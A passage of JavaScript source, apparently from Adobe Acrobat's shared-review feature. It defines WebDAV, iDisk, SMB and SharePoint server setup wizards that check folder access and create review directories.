				vrfy: function(dialog)

				{

					var props = dialog.store();

					var url = dialog.store()["surl"];

					if (url.length > 0)

					{

						this.nState = 0;

						// ensure the server URL ends with a '/'

						if (url.substr(-1) != "/")

							this.setURL(dialog,  url + "/");

						this.cVerifyURL = dialog.store()["surl"];

						this.oAuth = (this.data.oSavedWebDavState.bUseWindowsIntegratedAuthentication) ? { UsePlatformAuth: true } : {};

						app.beginPriv();

						this.cFileURL = Collab.uriEncode(this.cVerifyURL + "com.adobe.acrobat.webdav.writeability.txt");

						app.endPriv();

						this.oFileURL = util.crackURL(this.cFileURL);

						this.bFoundFile = false;

						this.oDialog.enable({"vrfy": false});



						this.verifyNextState();

					}

					else

						onVerifyFailure(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

				},



				verifyNextState: function()

				{

					var state = this.aStates[this.nState];

					var task = "";



					switch(state)

					{

						case "writeable":

							var data = SOAP.streamFromString("Testing Writeablility");

							Net.HTTP.WebDAV.PutFile(this.cFileURL, data, this, this.oAuth);

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE;

							break;



						case "enumerable":

							Net.HTTP.WebDAV.EnumerateCollection(this.cFileURL, this, this.oAuth);

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_READ;

							break;



						case "removeable":

							Net.HTTP.WebDAV.DeleteFile(this.cFileURL, this, this.oAuth);

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE;

							break;

					}



					this.setStatus(task);

				},



				onError: function(e)

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

					app.endPriv();

					this.onVerifyFailure(e.text ? e.text : AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

				},



				onVerifySuccess: function()

				{

					this.nState++;

					if(this.nState >= this.aStates.length)

					{

						this.cVerifiedURL = this.cVerifyURL;

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

						this.oDialog.enable({"vrfy": true});

						if(this.bDoCommit)

						{

							this.commit(this.oDialog, true);

							this.oDialog.end("fnsh");

						}

					}

					else this.verifyNextState();

				},



				onVerifyFailure: function(msg)

				{

					this.setStatus(msg);

					this.oDialog.enable({"vrfy": true});

					this.bDoCommit = false;

				},



				onEnumerateFile: function(resource)

				{

					var state = this.aStates[this.nState];

					if(state == "enumerable" && !this.bFoundFile)

					{

						try

						{

							var oURL = util.crackURL(resource.url);

							this.bFoundFile = oURL.cHost == this.oFileURL.cHost &&

											oURL.cPath == this.oFileURL.cPath;

						}

						catch(e)

						{

							//console.println(e);

							//console.println(e.stack);

						}

					}

				},



				onEnumerateEnd: function(resource)

				{

					if(this.bFoundFile) this.onVerifySuccess();

					else this.onVerifyFailure();

				},



				onPutFile: function(status) { this.onVerifySuccess(); },

				onDeleteFile: function(status) { this.onVerifySuccess(); },



				description: 

				[

					{

						type: "view",

						elements:

						[

							{

								type: "view",

								alignment: "align_fill",

								elements:

								[

									{

										type: "static_text",

										name: AnnotsString.IDS_SHARED_REVIEW_WEBDAV_INSTRUCTION,

										wrap_name: true,

										width: Collab.wizardWidth,

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_ENTER_URL,

											},

											{

												type: "edit_text",

												alignment: "align_fill",

												item_id: "surl"

											}

										]

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "button",

												name: AnnotsString.IDS_SHARED_REVIEW_VALIDATE_BUTTON,

												item_id: "vrfy"

											},

											{

												type: "static_text",

												alignment: "align_fill",

												item_id: "task",

											},

										]

									},

								].concat(app.platform == "WIN" ? [

									{

										type: "check_box",

										name: AnnotsString.IDS_USE_NTLM_AUTHENTICATION,

										item_id: "ntlm"

									},

								] : []).concat(ANCreateTipElements(AnnotsString.IDS_SHARED_REVIEW_WEBDAV_TIP, Collab.wizardWidth))

							}

						]

					}

				]

			};



			return result;

		},



		getWorkflowInitiatorSource: function(cReviewID, config)

		{

		    var encURL = config.cSetting + encodeURIComponent(cReviewID) + "/";

			return encURL;

		},



		oTaskSet:

		{

			// TaskSet metadata

			cTitle: AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE,



			// Enumeration

			onBeginEnumeration: function(){},

			onEndEnumeration: function(){},

			onEnumerateFile: function(resource) {},

			onEnumerateCollection: function(resource) {},



			// Create Collection

			onCreateCollection: function(code)

			{

				this.cxt.handleSuccess();

			},



			onPutFile: function(code)

			{

				this.cxt.handleSuccess();

			},



			onError: function(e)

			{

				this.cxt.handleFailure(e);

			},



			aTasks:

			[

				{

					// Create the review Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY + cxt.data.server.Settings.cSetting);



						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/";



						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();

						

				        

    						Net.HTTP.WebDAV.CreateCollection(cURL, taskData, {});

					},



					onSuccess: function(cxt, taskData) {},

					onFailure: function(cxt, taskData) {},

				},

				{

					// Create the attachment Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						var cURL = taskData.data.cSetting;

				        if (cURL.substr(0, 28) != "https://api.share.adobe.com/" &&

				            cURL.substr(0, 35) != "http://api-dcdevlab.corp.adobe.com/")

				        {

						    cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY + cxt.data.server.Settings.cSetting);



						    var cURL = taskData.data.cSetting;

						    cURL += taskData.reviewID;

						    cURL += "/attachments/";



						    app.beginPriv();

						    cURL = Collab.uriEncode(cURL);

						    app.endPriv();

    						

						    Net.HTTP.WebDAV.CreateCollection(cURL, taskData, {});

						}

						else

                            cxt.handleSuccess();

					},



					onSuccess: function(cxt, taskData)

					{

						cxt.setTaskStatus(AnnotsString.IDS_DONE);

					},



					onFailure: function(cxt, taskData) {},

				},

			],



			data: {},

		},

   

		getWorkspaceCreator: function(reviewID, config)

		{

			// Set up the workspace based on the configuration



			// TODO: due to an as yet not-fully-understood JavaScript nuance

			//		 the following line of code does not work:

			this.oTaskSet.data = config;

			

			// TODO (cont'd): instead we must iterate over the properties in config and

			//				  assign them explicity to the data object, like so:

			for (var i in config)

			{

				this.oTaskSet.data[i] = config[i];

			}



			this.oTaskSet.reviewID = reviewID;

			return ANTrustPropagateAll(this.oTaskSet);

		}

	};



	const SharedReviewAppleiDiskInitiator= 

	{

		getInitiateName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_IDISK_NAME; 

		},



		getInitiateDefaultName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_IDISK_DEFAULT_NAME; 

		},



		getInitiateAddServer: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_IDISK_ADD_SERVER; 

		},



		getInitiateDescription: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_IDISK_DESCRIPTION; 

		},



		canInitiateWorkflow: function(cWorkflow)

		{

			return cWorkflow == "SharedReview";

		},



		getWorkflowInitiatorConfig: function()

		{

			var result = 

			{

				cBaseURL: "https://idisk.mac.com/",

				oConfig: 

				{

					cSetting: "",

					bUseWindowsIntegratedAuthentication: false

				},



				oDialog: null,

				cVerifyURL: null,       // URL to be verified

				cVerifiedURL: null,      // URL that was verified

				cCurrentURL: null,      // URL Currently being displayed



				getSetting: function() { return this.oConfig; },



				initialize: function(dialog, next)

				{

					this.oDialog = dialog;

					dialog.load({"fldr": "Public"}); // This doesn't seem to get localized



					this.cCurrentURL = this.getCurrentURL(dialog);

					if (this.data.oSavedWebDavState)

					{

					    dialog.load({"task": this.data.oSavedWebDavState.cStatus, iurl: this.currentURL});

					    this.cVerifiedURL = this.data.oSavedWebDavState.cVerifiedURL;

					}

					else

					{

    					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

					}



					dialog.focus("acct");

				},



				setStatus: function(t)

				{

					var task = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE;

					this.oDialog.load({ "task": task.replace(/{cStatus}/, t) });

					this.oDialog.resize("task");

				},



				commit: function(dialog, next)

				{

					if(next)

					{

					    var url = this.getCurrentURL(dialog);

					    if (url != this.cVerifiedURL)

					    {

							this.bDoCommit = true;

							this.cVerifyURL = url;

							this.vrfy(dialog);

							DebugThrow ("URL requires verification");

						}

    					

				        this.oConfig.cSetting = url;

					}

					else

					{

					    this.data.oSavedWebDavState = {};

					    this.data.oSavedWebDavState.cURL = dialog.store()["surl"];

					    this.data.oSavedWebDavState.cVerifiedURL = this.cVerifiedURL;

					    this.data.oSavedWebDavState.cStatus = dialog.store()["task"];

					}

				},



				getCurrentURL: function(dialog)

				{

					var props = dialog.store();

					app.beginPriv();

					var result = Collab.uriEncode(this.cBaseURL + props.acct + "/" + props.fldr + "/");

					app.endPriv();

					return result;

				},



				idle: function(dialog)

				{

					var url = this.getCurrentURL(dialog);

					var bEnabled = url.match(/^http[s]?\:\/\/.+\//) != null;

					dialog.enable({next: bEnabled, vrfy: bEnabled});

					if(url != this.cCurrentURL)

					{

						dialog.load({iurl: url});

						this.cCurrentURL = url;

					}

				},



				aStates: ["writeable", "enumerable", "removeable"],

				nState: 0,

				cFileURL: null,

				oFileURL: null,

				bFoundFile: false,

				bDoCommit: false,



				vrfy: function(dialog)

				{

					var props = dialog.store();

					{

						this.nState = 0;

						// ensure the server URL ends with a '/'

						this.cVerifyURL = this.getCurrentURL(dialog);

						app.beginPriv();

						this.cFileURL = Collab.uriEncode(this.cVerifyURL + "com.adobe.acrobat.webdav.writeability.txt");

						app.endPriv();

						this.oFileURL = util.crackURL(this.cFileURL);

						this.bFoundFile = false;

						this.oDialog.enable({"vrfy": false});



						this.verifyNextState();

					}

				},



				verifyNextState: function()

				{

					var state = this.aStates[this.nState];

					var task = "";



					switch(state)

					{

						case "writeable":

							var data = SOAP.streamFromString("Testing Writeablility");

							Net.HTTP.WebDAV.PutFile(this.cFileURL, data, this, {});

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE;

							break;



						case "enumerable":

							Net.HTTP.WebDAV.EnumerateCollection(this.cFileURL, this, {});

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_READ;

							break;



						case "removeable":

							Net.HTTP.WebDAV.DeleteFile(this.cFileURL, this, {});

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE;

							break;

					}



					this.setStatus(task);

				},



				onError: function(e)

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

					app.endPriv();

					this.onVerifyFailure(e.text ? e.text : AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

				},



				onVerifySuccess: function()

				{

					this.nState++;

					if(this.nState >= this.aStates.length)

					{

						this.cVerifiedURL = this.cVerifyURL;

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

						this.oDialog.enable({"vrfy": true});

						if(this.bDoCommit)

						{

							this.commit(this.oDialog, true);

							this.oDialog.end("fnsh");

						}

					}

					else this.verifyNextState();

				},



				onVerifyFailure: function(msg)

				{

					this.setStatus(msg);

					this.oDialog.enable({"vrfy": true});

					this.bDoCommit = false;

				},



				onEnumerateFile: function(resource)

				{

					var state = this.aStates[this.nState];

					if(state == "enumerable" && !this.bFoundFile)

					{

						try

						{

							var oURL = util.crackURL(resource.url);

							this.bFoundFile = oURL.cHost == this.oFileURL.cHost &&

											oURL.cPath == this.oFileURL.cPath;

						}

						catch(e)

						{

							//console.println(e);

							//console.println(e.stack);

						}

					}

				},



				onEnumerateEnd: function(resource)

				{

					if(this.bFoundFile) this.onVerifySuccess();

					else this.onVerifyFailure();

				},



				onPutFile: function(status) { this.onVerifySuccess(); },

				onDeleteFile: function(status) { this.onVerifySuccess(); },



				description: 

				[

					{

						type: "view",

						elements:

						[

							{

								type: "view",

								alignment: "align_fill",

								elements:

								[

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_IDISK_ACCOUNT,

											},

											{

												type: "edit_text",

												alignment: "align_fill",

												item_id: "acct"

											}

										]

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_IDISK_DIRECTORY,

											},

											{

												type: "edit_text",

												alignment: "align_fill",

												item_id: "fldr"

											}

										]

									},

									{

										type: "static_text",

										name: AnnotsString.IDS_SHARED_REVIEW_IDISK_URL,

										wrap_name: true,

										width: Collab.wizardWidth,

										item_id: "iurl"

									},

									{

										type: "static_text",

										name: AnnotsString.IDS_SHARED_REVIEW_IDISK_INSTRUCTION,

										wrap_name: true,

										width: Collab.wizardWidth,

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "button",

												name: AnnotsString.IDS_SHARED_REVIEW_VALIDATE_BUTTON,

												item_id: "vrfy"

											},

											{

												type: "static_text",

												alignment: "align_fill",

												item_id: "task",

											},

										]

									},

								].concat(ANCreateTipElements(AnnotsString.IDS_SHARED_REVIEW_IDISK_TIP_4, Collab.wizardWidth))

							}

						]

					}

				]

			};



			return result;

		},



		getWorkflowInitiatorSource: function(cReviewID, config)

		{

		    var encURL = config.cSetting + encodeURIComponent(cReviewID) + "/";

			return encURL;

		},



		oTaskSet:

		{

			// TaskSet metadata

			cTitle: AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE,



			// Enumeration

			onBeginEnumeration: function(){},

			onEndEnumeration: function(){},

			onEnumerateFile: function(resource) {},

			onEnumerateCollection: function(resource) {},



			// Create Collection

			onCreateCollection: function(code)

			{

				this.cxt.handleSuccess();

			},



			onPutFile: function(code)

			{

				this.cxt.handleSuccess();

			},



			onError: function(e)

			{

				this.cxt.handleFailure(e);

			},



			aTasks:

			[

				{

					// Create the review Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY);



						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/";



						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();

						

						Net.HTTP.WebDAV.CreateCollection(cURL, taskData, {});

					},



					onSuccess: function(cxt, taskData) {},

					onFailure: function(cxt, taskData) {},

				},

				{

					// Create the attachment Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENT);



						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/attachments/";



						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();

						

						Net.HTTP.WebDAV.CreateCollection(cURL, taskData, {});

					},



					onSuccess: function(cxt, taskData)

					{

						cxt.setTaskStatus(AnnotsString.IDS_DONE);

					},



					onFailure: function(cxt, taskData) {},

				},

			],



			data: {},

		},

   

		getWorkspaceCreator: function(reviewID, config)

		{

			// Set up the workspace based on the configuration



			// TODO: due to an as yet not-fully-understood JavaScript nuance

			//		 the following line of code does not work:

			this.oTaskSet.data = config;

			

			// TODO (cont'd): instead we must iterate over the properties in config and

			//				  assign them explicity to the data object, like so:

			for (var i in config)

			{

				this.oTaskSet.data[i] = config[i];

			}



			this.oTaskSet.reviewID = reviewID;

			return ANTrustPropagateAll(this.oTaskSet);

		}

	};



	const SharedReviewSMBInitiator= 

	{

		getInitiateName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SMB_NAME;

		},



		getInitiateDefaultName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SMB_DEFAULT_NAME;

		},



		getInitiateAddServer: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SMB_ADD_SERVER; 

		},



		getInitiateDescription: function() 

		{ 

			return SharedString("IDS_SHARED_REVIEW_SMB_DESCRIPTION" + WT); 

		},



		canInitiateWorkflow: function(cWorkflow)

		{

			return cWorkflow == "SharedReview" || cWorkflow == "FormDistribution";

		},



		getWorkflowInitiatorConfig: function()

		{

		    var tipStr = (app.platform == "WIN" ? AnnotsString.IDS_SHARED_REVIEW_SMB_TIP : AnnotsString.IDS_SHARED_REVIEW_SMB_TIP_MAC);

			var result = 

			{

				oConfig: 

				{

					cSetting: ""

				},



				oDialog: null,

				cVerifiedURL: null,



				getSetting: function() { return this.oConfig; },



				initialize: function(dialog, next)

				{

					this.oDialog = dialog;

					if (this.data.oSavedSMBState)

					{

					    this.setURL(dialog, this.data.oSavedSMBState.cURL);

					    dialog.load({"stat": this.data.oSavedSMBState.cStatus});

					    this.cVerifiedURL = this.data.oSavedSMBState.cVerifiedURL;

					}

					else

					{

    					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

					}

				},



				commit: function(dialog, next)

				{

				    if (next)

				    {

				        var verified = true;

					    var url = this.getServerURL();



					    if (url != this.cVerifiedURL)

					        verified = this.verifyURL(url);

    					

					    if (verified)

					        this.oConfig.cSetting = this.cVerifiedURL; // dialog.store()["surl"];

					    else

					        DebugThrow (AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

			        }

					else

					{

					    this.data.oSavedSMBState = {};

					    this.data.oSavedSMBState.cURL = dialog.store()["surl"];

					    this.data.oSavedSMBState.cVerifiedURL = this.cVerifiedURL;

					    this.data.oSavedSMBState.cStatus = dialog.store()["stat"];

					}

				},



				getServerURL: function()

				{

					var url;

					

				    var dlgData = this.oDialog.store();

				    url = ANPlatformPathToURL(dlgData["surl"]);

    		

		            // ensure the URL ends with a '/'

		            if (url.length > 0 && url.substr(-1) != "/")

			            url = url + "/";

			            

					return url;

				},

				

				setURL: function(dialog, url)

				{

					dialog.load({ "surl": (ANSMBURLToPlatformPath(url)) });

				},



				setStatus: function(status)

				{

					var statusStr = AnnotsString.IDS_SHARED_REVIEW_SMB_STATUS;

					this.oDialog.load({ "stat": statusStr.replace(/{cStatus}/, status) });

					this.oDialog.resize("stat");

				},

				

				// takes an SMB URL and verifies whether it is valid for a shared review by

				// verifying the following:

				//		* a review folder can be created relative to the URL

				//		* a file can be put to the newly created folder

				//		* files can be enumerated in the folder

				//		* the review folder (and its contents) can be deleted

				verifyURL: function(smbURL)

				{

				    /*

                    This function is not used anymore in the new Shared Review Wizard. 

                    If you start using it please ensure that URL is proparly escaped in uriEnumerateFiles, 

                    uriNormalize, uriDeleteFile methods as they will eventually unescape

                    */

 					var verifyResult;

					var errorString;

					var folderURI;

					

					app.beginPriv();

					

					folderURI = smbURL;

					if (folderURI && folderURI.length > 0)

					{

						// create a review folder

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE);

						DebugAlert("smbURL : " + smbURL);

						folderURI += "com.adobe.acrobat";

						verifyResult = Collab.uriCreateFolder(folderURI);

						

						if (!verifyResult)

						{

							errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERR;

						}



						// put a file to the review folder

						if (verifyResult)

						{

							var data = SOAP.streamFromString("Testing Writeablility");

							var fileURI = folderURI + "/testfile.txt";

							var deleteResult;

							verifyResult = Collab.uriPutData(fileURI, data);

							if (!verifyResult)

							{

								errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_FILE_WRITE_ERR.replace(/%url%/, fileURI);

							}

						}

						

						// enumerate files in the review folder

						if (verifyResult)

						{

							this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE);

							var enumerator = Collab.uriEnumerateFiles(folderURI);

							do {

								fileURI = enumerator.uriNextFile();

								if (fileURI) {

									deleteResult = Collab.uriDeleteFile(fileURI);

									if (!deleteResult)

									{

										errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_ENUM_FILE_ERR.replace(/%url%/, fileURI);

										verifyResult = false;

										break;

									}

								}

							} while (fileURI);

						}

						

						// delete the review folder

						if (verifyResult)

						{

							deleteResult = Collab.uriDeleteFolder(folderURI);

							if (!deleteResult)

							{

								errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_DELETE_FOLDER_ERR.replace(/%url%/, folderURI);

								verifyResult = false;

							}

						}

					}

					else

					{

						// empty URL - report appropriate error

						verifyResult = false;

						errorString = AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID;

					}



					if (verifyResult)

						this.cVerifiedURL = Collab.uriNormalize(smbURL);

					app.endPriv();

					this.setStatus(verifyResult ? AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED : errorString);

					return verifyResult;

				},



				brws: function(dialog)

				{

					try

					{

						app.beginPriv();

						var folderURI = Collab.browseForNetworkFolder();

						DebugAlert("folderURI : " + folderURI);

						app.endPriv();

						if (folderURI && folderURI.length > 0) {

							if (folderURI.charAt(folderURI.length - 1) != "/") folderURI += "/";

							if (this.verifyURL(folderURI)) {

								this.setURL(dialog, this.cVerifiedURL);

								return;

							}

						}

					}

					catch (e)

					{

						if (e.message == "Volume Mount Exception")

						{

							var errMsg;

							switch (Number(e.errorCode))

							{

								case 1:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR;

									break;

								case 3:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_MOUNT_ERROR;

									break;

								default:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_ERROR;

									break;

							}



							app.beginPriv();

							app.alert(errMsg);

							app.endPriv();

							DebugThrow ("VolMountError");

						}

					}

				},

				

				vrfy: function(dialog)

				{

				    var url = this.getServerURL();

				    if (this.verifyURL(url))

				    {

				        this.setURL(dialog, this.cVerifiedURL);   // set the URL since we may have normalized it

				    }

				},

				

                idle: function(dialog)

		        {

		            var url = dialog.store()["surl"];

			        var ok = false;

					

					// verify smb://{host}/{share} where {host} and {share} are not empty

					if (url.length > 6 && url.substr(0,6) == "smb://")

					{

						var pos = 6;	// start beyond the scheme

						var searchPos;

						// scan past the host

						for (searchPos = pos ; searchPos < url.length ; searchPos++)

							if (url.charAt(searchPos) == '/') break;

						// verify we have an non-empty host (and still more to parse)

						if (searchPos > pos && searchPos < url.length)

						{

							searchPos++;	// skip over the '/'

							for (pos = searchPos ; searchPos < url.length ; searchPos++)

								if (url.charAt(searchPos) == '/') break;

							

							// if we've gotten this far then we're OK if the share name is non-empty

							ok = (searchPos != pos);

						}

					}

					

			        if (!ok && app.platform == "WIN")

						ok = (url.length >= 3 && url.substr(0,2) == "\\\\" && url.charAt(2) != '\\');

			        dialog.enable({next: ok});

		        },



				description: 

				[

					{

						type: "view",

						elements:

						[

							{

								type: "view",

								alignment: "align_fill",

								elements:

								[

									{

										type: "static_text",

										name: AnnotsString.IDS_SHARED_REVIEW_SMB_INSTRUCTION,

										wrap_name: true,

										width: Collab.wizardWidth,

									},

									{

										type: "static_text",

										name: AnnotsString.IDS_SHARED_REVIEW_SMB_URL_PROMPT,

									},

									{

										type: "view",

										align_children: "align_row",

										alignment: "align_fill",

										elements:

										[

											{

												type: "edit_text",

												item_id: "surl",

												alignment: "align_fill",

											},

											{

												type: "button",

												name: AnnotsString.IDS_SHARED_REVIEW_SMB_BROWSE_BUTTON,

												item_id: "brws",

											},

										]

									},

							        {

								        type: "view",

								        align_children: "align_row",

								        alignment: "align_fill",

								        elements:

								        [

									        {

										        type: "button",

										        name: AnnotsString.IDS_SHARED_REVIEW_VALIDATE_BUTTON,

										        item_id: "vrfy"

									        },

									        {

										        type: "static_text",

										        wrap_name: true,

												width: Collab.wizardWidth,

										        name: AnnotsString.IDS_SHARED_REVIEW_SMB_STATUS,

								                item_id: "stat",

									        },

								        ]

							        },

								].concat(ANCreateTipElements(tipStr, Collab.wizardWidth))

							}

						]

					}

				]

			};



			return result;

		},



		getWorkflowInitiatorSource: function(cReviewID, config)

		{



		    var encURL = config.cSetting + encodeURIComponent(cReviewID) + "/";

			return encURL;

		},



		oTaskSet:

		{

			// TaskSet metadata

			cTitle: AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE,



			// Enumeration

			onBeginEnumeration: function(){},

			onEndEnumeration: function(){},

			onEnumerateFile: function(resource) {},

			onEnumerateCollection: function(resource) {},



			// Create Collection

			onCreateCollection: function(code)

			{

				this.cxt.handleSuccess();

			},



			onPutFile: function(code)

			{

				this.cxt.handleSuccess();

			},



			onError: function(e)

			{

				app.beginPriv();

				app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

				app.endPriv();

				this.cxt.handleFailure(e);

			},



			aTasks:

			[

				{

					// Create the review Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						var msg = AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY + cxt.data.server.Settings.cSetting;



						cxt.setTaskStatus(msg);



						var cURL = taskData.data.cSetting;

						cURL += (cURL.substr(-1) != "/" ? "/" : "") + encodeURIComponent(taskData.reviewID) + "/";

						app.beginPriv();

						// Fix for the bug 2650003:uriCreateFolder requires uri in escaped form 

						var createResult = Collab.uriCreateFolder(encodeURIComponent(cURL));

						app.endPriv();

						if (createResult)

							cxt.handleSuccess();

						else

						{

							var msg = AnnotsString.IDS_SHARED_REVIEW_SMB_CREATE_ERR.replace(/%url%/, cURL);

							cxt.handleFailure(msg);

						}

					},



					onSuccess: function(cxt, taskData) {},

					onFailure: function(cxt, taskData) {},

				},

				{

					// Create the attachments Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENT);



						var cURL = taskData.data.cSetting;

						cURL += (cURL.substr(-1) != "/" ? "/" : "") + encodeURIComponent(taskData.reviewID);

						cURL += "/attachments/";

						app.beginPriv();

						// Fix for the bug 2650003:uriCreateFolder requires uri in escaped form 

						var  createResult = Collab.uriCreateFolder(encodeURIComponent(cURL));

						app.endPriv();

						if (createResult)

							cxt.handleSuccess();

						else

						{

							var msg = AnnotsString.IDS_SHARED_REVIEW_SMB_CREATE_ATTACH_ERR.replace(/%url%/, cURL);

							cxt.handleFailure(msg);

						}

					},



					onSuccess: function(cxt, taskData)

					{

						cxt.setTaskStatus(AnnotsString.IDS_DONE);

					},



					onFailure: function(cxt, taskData) {},

				},

			],



			data: {},

		},

   

		getWorkspaceCreator: function(reviewID, config)

		{

			// Set up the workspace based on the configuration

			this.oTaskSet.data = config;

			

			// See the comment in SharedReviewWebDAVInitiator.getWorkspaceCreator

			// for an explanation of why the following loop is needed.

			for (var i in config)

			{

				this.oTaskSet.data[i] = config[i];

			}

			

			this.oTaskSet.reviewID = reviewID;

			return ANTrustPropagateAll(this.oTaskSet);

		}

	};



	const SharedReviewSharepointInitiator= 

	{

		getInitiateName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME;

		},



		getInitiateDefaultName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DEFAULT_NAME;

		},



		getInitiateAddServer: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_ADD_SERVER; 

		},



		getInitiateDescription: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION; 

		},



		canInitiateWorkflow: function(cWorkflow)

		{

			return cWorkflow == "SharedReview" || cWorkflow == "FormDistribution";

		},



		getWorkflowInitiatorConfig: function()

		{

			if(this.reviewType == "FormDistribution")

				WT = "_FD";

			var result = 

			{

				oConfig: 

				{

					cSetting: "",

					bUseWindowsIntegratedAuthentication: true,

				},



				oDialog: null,

                sites: null,

                workspaces: null,

                workspaceURL: null,

                location: null,

				cVerifyURL: null,       // URL to be verified

				cVerifiedURL: null,      // URL that was verified

				bDoCommit: false,

                

				getSetting: function() { return this.oConfig; },



				initialize: function(dialog, next)

				{

					this.oDialog = dialog;

					if (this.data.oSavedSharePointState)

					{

					    this.setURL(dialog, this.data.oSavedSharePointState.cURL);

					    dialog.load({"task": this.data.oSavedSharePointState.cStatus});

					    this.cVerifiedURL = this.data.oSavedSharePointState.cVerifiedURL;

					    this.setLocation(this.data.oSavedSharePointState.cLocation);

					}

					else

					{

    					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

					    this.setLocation("");

					}

					this.loadWorkspaces(dialog, null);

					dialog.focus("surl");

				},



				setStatus: function(t)

				{

					var task = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE;

					this.oDialog.load({ "task": task.replace(/{cStatus}/, (t ? t : AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN)) });

					this.oDialog.resize("task");

				},



				setLocation: function(loc)

				{

				    this.location = loc;

					this.oDialog.load({ "locn": this.location });

				},



				setURL: function(dialog, url)

				{

					dialog.load({ "surl": url });

				},



				commit: function(dialog, next)

				{

					if(next)

					{

					    var url = this.getServerURL();

					    if (url != this.cVerifiedURL)

					    {

							this.bDoCommit = true;

							this.vrfy(dialog);

							DebugThrow ("URL requires verification");

						}

    					

				        this.oConfig.cSetting = url;

					}

					else

					{

					    this.data.oSavedSharePointState = {};

					    this.data.oSavedSharePointState.cURL = dialog.store()["surl"];

					    this.data.oSavedSharePointState.cLocation = dialog.store()["locn"];

